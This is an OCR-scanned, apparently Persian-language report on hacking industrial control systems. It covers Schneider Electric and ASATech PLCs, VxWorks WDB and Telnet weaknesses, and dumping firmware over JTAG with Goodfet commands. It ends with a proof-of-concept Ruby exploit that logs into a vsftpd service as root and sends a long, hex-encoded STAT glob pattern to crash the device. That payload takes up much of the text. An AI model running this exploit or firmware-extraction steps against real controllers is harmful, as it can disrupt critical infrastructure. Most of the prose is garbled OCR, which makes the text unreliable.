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PLC Programmable Logic Controller

POC Proof of Concept

CERT Computer Emergency Response Team
DoS Denial of Service

DHS Department of Homeland Security

DNP3 Distributed Network Protocol 3

GSM Global System for Mobile Communications
HMI Human-Machine Interface

HTTP Hypertext Transfer Protocol

ICS Industrial Control System

JTAG Joint Test Action Group

PDU Protocol Data Unit

RTU Remote Terminal Unit

SCADA Supervisory Control and Data Acquisition
SIM Subscriber Identity Module

TCP/IP Transmission Control Protocol/Internet Protocol
ROI Return on Investment

MTU Master Terminal Unit

FTP File Transfer Protocol
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BTS Base transceiver station

SCS Sub Critical System

RMU Remote Measurement Unit
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MITM Attack Man in the Middle Attack
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pc:~/DAPhix/sbin# cat /proc/cpuinfo

: @
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: 62-64 C (uncalibrated)
: 3.1 (pvr 0008 23@1)

: 33.39
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: PowerMac
: Power Macintosh
: Power Macintosh

motherboard
detected as
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pmac-generation
Memory 4
root@debian-power
Linux debian-powe
root@debian-power

: AAPL ,PowerMac G3 MacRISC
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T DOO0YRD

: OldWorld

512 MB
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pc:~/DAPh1x/sbin#

Ll PLC ai ) (5,955 plo ol Daphix QEMU ,0 PLC Lol sla ais13 0,5 15134y g

5 &l 4 ASATech RTU-2004 | 1) la usgpw (550l B e 9 00,5 sl Linux/PPC o 32 siwacws S5 Lo

oS Ol Gy 2 el

a5 o3 o pll 095 PowerPC las (55, p 1) ledgs iolejl bo o 4 el 51 00,8

I, o3 as el yig s g,y ol « 5038 plxil 9 PLC 4y poiinn Jlas] pusicens OS50 oS 12l 1 o (6 0L
e Aol WL FTP (5 pudy WT (ol AXDlS a5 Q]Ag Wb b oS o G ey plxil Local b e Oy A
k.A-ClJJ—Q-CuJ‘ ».\.A.AS‘SAQJ?LA 6)‘JJ‘ o‘) ‘) ali.’;.mo ‘wo@é) ;w‘s_igdssom u_i..:)ls‘;‘a)o C’;LQ U9

48 0 GDB lawg Sloo Oldes s lado

Schneider Electric PLC Cuowo! gb) B\

CE by sl w1580 035 5 158 Cdew adgi aie) ;0 ¢ (el B side diz &S 0 G Schneider Electric
S S i Lo 2850 (nl gl ol )] sl -09) o0 sled 2 Qe o S50 (0555 5 (S Sl

=S oolatul Schneider Electric lawgs oals adgi sla oo ade  ajline i,
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ETY4103 &6 5l oausS” ]S L Schneider Electric PLC 35 3 gual

SCHNEIDER TSX Premium
ETY4103 Ethernet
Communication Module
VxWorks 5.4 by Wind River

192.168.20.10

ole. s ] (55 bl paizmad (omiS o g |y ol (ol Nmap 5l oolitd b oniS o £5,5 Lo Jl> g

35 TCP FTP
32 TCP Telnet
00 TCP Http
111 TCP, UDP Rpcbind
161 UDP SNMP
17185 UDP WDB

Lg a5 el S5 oM Jule s S VxWorks .aiS oo oolaiw! VxWorks Jsle givww 5| Schneider Electric PLC
oBiws yguleo 300 dga 5iST o2 .0l (g )l 5 Intel Lawgd (s &5 8 (] . Cal 00l Sl | Wind River Systems

Owolge a5 VxWorks Lol S .ainS oo colaiul (lisgs slo Jole pinw lgie 4 VxWorks 1 aS s ls 592>

(ICS) Gao 58 sl psr el sl R
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el 311 5,00 AT il e Lole s o] 4 Line (2 sl IS o (60,115 ol 35ls o Sguima |,
3585 Ghalojl aigS o alidlo I sl 0l aly )b 5 s (pizren S (5l e )5 Sl 5008 lo
W uJ).._Qs)M Qj.m ‘;}‘ARM PowerPC MIPS x86 Lg)l.o..xa &9y » .A.:‘y < JALC- w.:.....u.w U"‘ &S ° Sgdsne ‘)

Y PR 06)5] ) u.wﬂ.] B S| ‘).’>‘ JL‘> 39 VxWorks LQ;‘ K9y » aS ‘5:_’>Lw).,) GLCD

1. Airbus A400M Atlas military transport
aircraft

C-130 Hercules aircraft

Boeing AH-64 Apache attack helicopter
Mars Reconnaissance Orbiter spacecraft
Curiosity Mars Rover

The ALR-67(V)3 Radar Warning Receiver
used in the F/A-18E/F Super Hornet
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BB S e azrgie bo Jolod g 455 (o2 50 00 (0 S oy g azio 05 el s 4 L] 055 5L
FTP 45 99,5 5l 3L 0,90 Oledbl poilys Lo Ll 0,5 LLelSGo b .0gd oo 0dusl SACommujar a5 5 )ls 59>

‘o2 5T Cewds Schneider Electric PLC (19,0

Schneider Electric lgl> L1 0,5 JiLwolSoo 36 5 gas

Al L asy aiors (o .l 00l ool oo (9,0 1> Jl> )0 Telnet g, 51y sl aline awliss o,lbgs ailawlin
firmware 0,5 5glils ojlal coiS adgi a5 Canl pl olSiws (pl 0)by0 o G oS oo firmware (23,5 4
aol)liel G A pals Ao Cond G axgie L firmware osSae cwdigeo b oS oo &511 lacole g 51 olws

38 (o JLeN)
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ntpupdate 4,lie ,9.c 4alS gntpupdate 3 IS L L )5 >y Wilgs oo (60,5 ;0 a5 Csline oy sl jLiel oyl
HTTP usgyw (2,8 Lo dol,licl a5 sl 00,57 5B ol 5l s olSiws 00iiS oaldgl &8 1 (puiomo 050 0o
35lils g FTP 4ol jloel 105 aiS LPLC 31, awlilael ol pinsles Lo .Cawl USER/USER g Lyl ) 45 o o)l (sl

s] Cewdy )5 Sl (5,655 pls S HTTP o Sy LU

Telnet FTP i )il sl Jg5le 35,k ;! Schneider Electric PLC 4,0 ol 5l 355 4y & yomice b i )liel ol cpiiols
olSiws w3 ls 892y oSws (pl o Ko JSKie S puisred 0gd oo Sy )0 asllael 5l e ST solaiul b g g
5 &S el VxWorks Jole i (sl i o SLos S WDB Agent gy .S o0 1,21 |, WDB g s

< o)'l.‘.>| 9 R 6)Lw LJ\-\A wire format C)Ua'“a‘ LgSunRPC Js’ﬂj" 65) BrRS kP u.:‘ 05.».: «? |).‘>‘ 17185 olf)é 65)

plsl sla,l5 5 ais szl 8 mls gz aladls jl g aladl> (69, 2 o5 )0 (pl @ (qw s b pakd ;o sao
lo Cowlgs 10 «,lai Session ID Lhandshaking « Sugo 51,0l gud 3 Sl UDP JSSg, a5 olsl 5louS co poe 1) eos
S «esls pb HD Moore aS Sl Simghy <6 2010 Jlo [0 098 Jo> w2 loe Lawgs il oo WDB agent o
«uwl 3 Schneider PLC (59, » WDB loiug azs ;0 a5 ool 51085 Ladl wgrw cromed glp oS Coglns]
S iy caml opl (6l CoglunSTaS euas plul PLC 4 yaile ) ol sl (6,15 2 0uilys (oo Lo a5 Conl cimo (o

15 8e2g Cogliwlio (o

2 Lo Ll 5l s azgie Lo 08 gy PLC cili jgpm 50 Gl JSie S Lo gl Bl 50,5 (o2 5l o
oS olKiws 09l o0 cge puiS SleFy8 0 Lgs VxWorks 9,0 1) cili Lo (ST i ato cili 30,k 5| PLC
) Loy &S Cwl tTelnetd ocls [ab XS w; d.a‘y ° kS’L’} SV AS.) 4)9§.> als w.al.o..) o)l.gjb 69..0940 U"‘ VLY

DS sdaline 5] 55 balas o wilgs

-> tTelnetd

Implementation Dependent Software Emulation

Exception current instruction address: 0x00e455a8

Machine Status Register: 0x00009032

Condition Register: 0x44400040

Task: 0xe31038 "tShell"

0Oxced4b0 (LDMGR): DVMGR DM: Reboot on exception.
TID=E31038, IP = E30D80

0xced4b0 (LDMGR): 08/10/80 03:58:29 0 LDMGR Fatal error:
specific code 1

error code 7cf
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file H:/ety/DeviceMgr/DeviceMgt.cpp line 2107

SO ISk ! slp a5 POC G Lo o olSiiws (ol (15,5 g tTelnetd  lsg>1,8 0iS o oaalice oS jghailen
IRVELIPRVAR R % SO RN IRUSPU PRI R P PV

Firmware }‘ ‘5)|.>).g 4\39.03

Dges ol firmware | (5 155 diged 35 co ALBlS p ploe bawgs a5 ) slo A5 51 SO S9a5 iulesl ol yE o
2 B 6l a s sle Ll b L1581 o 5l solaiwl b olKws 51, firmware 4S5 sl a1 8 G Firmware 5 5,1
sl asl,lacl o by Sl Sledbl ilsi oo Lo (oS camlics |, firmware (g, diged M8 Lo a5 jghailen o35l
e (30 59] Cewds b cpl b .M”'\ s hgy ol 5l eolatwl b1y i e o s oKiws Hard Coded

ol Sl Jlws Gledsis Giolesl Jsb jo  Sledol

IEEE o ,lailiw! JTAG .Cowl JTAG dirmware (48 5] Cowds sl slo Lty o 35 oo 51 (S (cinio slo olKiws o
5 0ol drwgs by 05,0 pl Yaame .l ol 0,5 SLus ol )0 5 Jlae la o iolesl (sl a5 cowl 11491

elolis glp ol b ol b oS oo it b Bis olBiws i ) o Laly (pl o 5,8 g 00 (oo oolal ioles]

(ICS) Guo I3 Slo fmr el st
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b 09, S a WL gws Dhgo 4 auly oo el piren 010 052 g JTAG iy gy 5l eolatwl LJTAG L,
DS o 1 JTAG o5 )0 0 Sl

Schneider (y0,5 ;b oUlg Lo g oS lowg ledan olSiiws [0 JTAG Luly gt ety Lo closiolos] 0,50 Baa 4o
LJTAG L) lawg oo )law firmware (5,155 b g Firmware (g )ls 5 diges 08 )5 paouad Lo .ol | Electric PLC
oS o0 00l NHBI2 5l Lo l> ol jo oo lid Sz 8 (Sdg mSU o Sl onlaal

JTAG Ja)‘) L» 3037 poas

(ICS) Gao J5S sl psr sl sl D)
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2 y»o Travis Goodspeed lawgi New York City o Hackers on Planet Earth il ,aiS )0 a5 conl o g0l O G ]

oS oo 03lalul JTAG jglsl (sl Goodfet3l ;I Lo .ol conlin floiolo;l sl a5 0,10 JTAG Lusly 0, ool 0

.Cow! MSP430 S p LgLo.».o » Goodfet

JTAG (3, 3l Firmware (5|5 5 digai (515 Goodfet &, 38 45 guai
oo b Goodfet31 aos o3l b vy yls python-serial 8,5 cuai 43 3Ls LLNHBI2 0,0 b 0,5 1,85 bl )l jslaie &
4 [ITAG LS L 0gd cod 00l Gigles Caand (] 10 a5 oo ,l0 Goodfet (4,5 vl 4 5L0 Lo oS 1,8 5 bl Jale
oly oo bo oS o Jeaio USB Goodfet3l o, 4 |51 Lo ;508 Bl 10 9 0uiS oo Cawgwy NHBI2 o JTAG Lo,
0as 03,91 loyd auilys o Lol ()] s o 0 Shas olgS Eao90 ! A5 W) o0 el 0 £l AT oS cunlin
oS 12l Lol 651,850 Como g olKiws (5,0 firmware 5925 5| 10,5 Jol> lawebl jslaie as ) 5 50

(ICS) Gao 58 sl por ol iy
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.S o NHB12 | firmware (g 15 5 digod 4y (3 05 loyd 30,5 121 L g o )l o0 o sl 44 o5 G s

goodfet.msp430 dump firmware.hex

3o WS 0 0,30 firmwarehex o L L8 G o ], OT 5 00,5 olSiiws 3l firmware (g0 diged £9,5 lo,d oy

05 6,155,L 1, o] Bootstrap Loading 3l soliiw! b euilgs o L firmware (0,5 alog

./goodfet.bsl -e -p firmware.hex

&,155,5b olKiws 4y o firmware G MalS a5 Cawlioe (s (pl g WS o0 (6155 )L oo 4 | firmware (Lo ,8 -y

—
’ : .t
6 ) * e

aede p )38 Cnl 5l s 9 09,5 (Brme oy Sl gy bl 2T 095 Modbus JSS5 50 Lo allie ol ol 5o
o5 Modbus gy ;o el 08> auislyy Cudidge b bo puimins |y ] o T,I5 B 30,5 soliiwl ASAtech olSiws
DBl oo (o8Bl Casal ialejl 5o 5B ol og LIS sanas yLid cplewsS slelis 5 ol 5 eolaiwl L |, Bas PLC
a5 ols pll Wgd oo oolitwl Sl sla piaw j0 &S Sio J S sle olKiws ade 3585 ialejl paix Lo
Telnet § FTP awlils o> Lo Schnider Electric ade 5 &> ;o .0bL 0 ASAtech g Schnider Electric olStws Jols
ol 531y (589 gy 30 Dl (6 ppdy sl S Cibgn b Lo go3l 0l 5o Gtalojl oo 59 (reizman 2,5 oy |
58,5 o 58 p a5 ab adS ASAtech (sla PLC [0 (soamio sla (6 pds camw] Cpizmed 0,5 oy olKtws
5 oolatwl L PLC a5 alo (5031 g Lo 1581 e a5 ol L o ol&iiss () Judos 049 PLC ) iy, L root s yiws
o5l o) Frimware g 03,5 alos ool (Siig xS0y S5 Lo gl j0 o gy 35 ] 40 99290 GSM page

0l O Ay ddzxe (5,135 )L g o5, Sws oz,
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require

10003B44
10003B44
10003B44
10003B48
10003B4C

100066A8
100066AC
100066B0O
100066B4
100066B8
100066BC

POC Exploit Code Against ASATech Devices : A Cewga

DAPHix version 1.5 build 2009-05
Linux/ppc 2.6.28.7

vsftpd STAT
Device 192.168.1.188

[TODO: XXX type of buf

DAPHix vsFTPd version info
.text:
.text:
.text:
.text:
.text:

loc 10003B44: # CODE XREF: sub 10003584+178j

lis %r5, aVsftpd2 0 6@h # " (vsFTPd 2.0.6)"

addi %r5, %r5, avsftpd2 0 6Q@1 # " (vsFTPd 2.0.6)"
b loc 1

DAPHix vsFTPd STAT command XREF in function sub 10005F38+77C
.rodata:1001589C off 1001589C: .long aStat # DATA XREF: sub 10005F38+77Co
.rodata:1001589C # sub 10005F38+780r

.rodata:1001589C # "STAT"

DAPHix vsFTPd STAT trigger location
.text:
.text:
.text:
.text:
.text:
.text:

bl sub_ 1000AC34

cmpwi cr7, %r3, O

bne cr7, loc 1000734C

lis %r9, off 1001589Ckh

lwz %r4, off 1001589CE1(%r9)
mr %$r3, %r3l

DAPHix vsFTPd commands to test
.rodata:10015774 # " RNTO SITE SIZE SMNT STAT STOR STOU STR"..

host = "192.168.1.188"

(ICS) e J5S S s ol o, TS
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sd = TCPSocket.new(host, )

trigger =

P\ x55\x53\x45\x52\x20\x72\x6f\x6f"+"\x74\x0a\x50\x41\x53\x53\x20\x36"+"\x3
6\x36\x36\x36\x36\x0a\x0a"+"\x53\x54\x41\x54\x20\x7b\x7b\x2a"+"\x7d\x2c\x7b\x
To\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\
x2c\xTb\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b
\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"
\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7
b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x
2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\
x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c
\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"
\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\ x2
c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\ x
2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\
Xx7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a
\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"
\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2
a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x
To\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\
x7d\x2c\x7b+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\
x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\
x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b
\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7
d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x
To\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\
x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\
x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d
\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7
b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x
2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\
x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\
x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b
\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\ x2
c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\ x
2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\
x7Tb"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\
x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2¢c
\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2
a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x
Tb\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\
x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\
x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a
\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7
b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x
7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\
x7Tb"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\
x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b
\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7
d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\ x
Tb\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\
x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\
x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d
\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7
b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x
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2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\
x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\
x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b
\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\ x2
c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\ x
2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\
x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\
x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2¢c
\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2
a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x
To\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\
x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\
x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a
\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7
b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x
T7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\
x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\
x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b
\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7
d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x
To\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\
x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\
x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d
\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7
b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x
2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\
x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\
x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b
\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\ x2
c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\ x
2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\
x7b"+"\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\
x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c
\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2
a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2
c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\ x
2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\
x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a
\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7
b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2
a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x
Tb\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\
x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b
\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7
A"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7
b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x
7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\
x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d
\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7
b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\x2c\x7b\x7b\x2a"+"\x7
d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b\x2a\x7d"+"\x2c\x7b\ x
Tb\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\x2c"+"\x7b\x7b\x2a\x7d\
x2c\x7b\x7b\x2a"+"\x7d\x2c\x7b\x7b\x2a\x7d\x2c\x7b"+"\x7b\x2a\x7d\x2c\x7b\x7b
\x2a\x7d"+"\x2c\x7b\x7b\x2a\x7d\x2c\x7b\x7b"+"\x2a\x7d\x2c\x7b\x7b\x2a\x7d\ x2
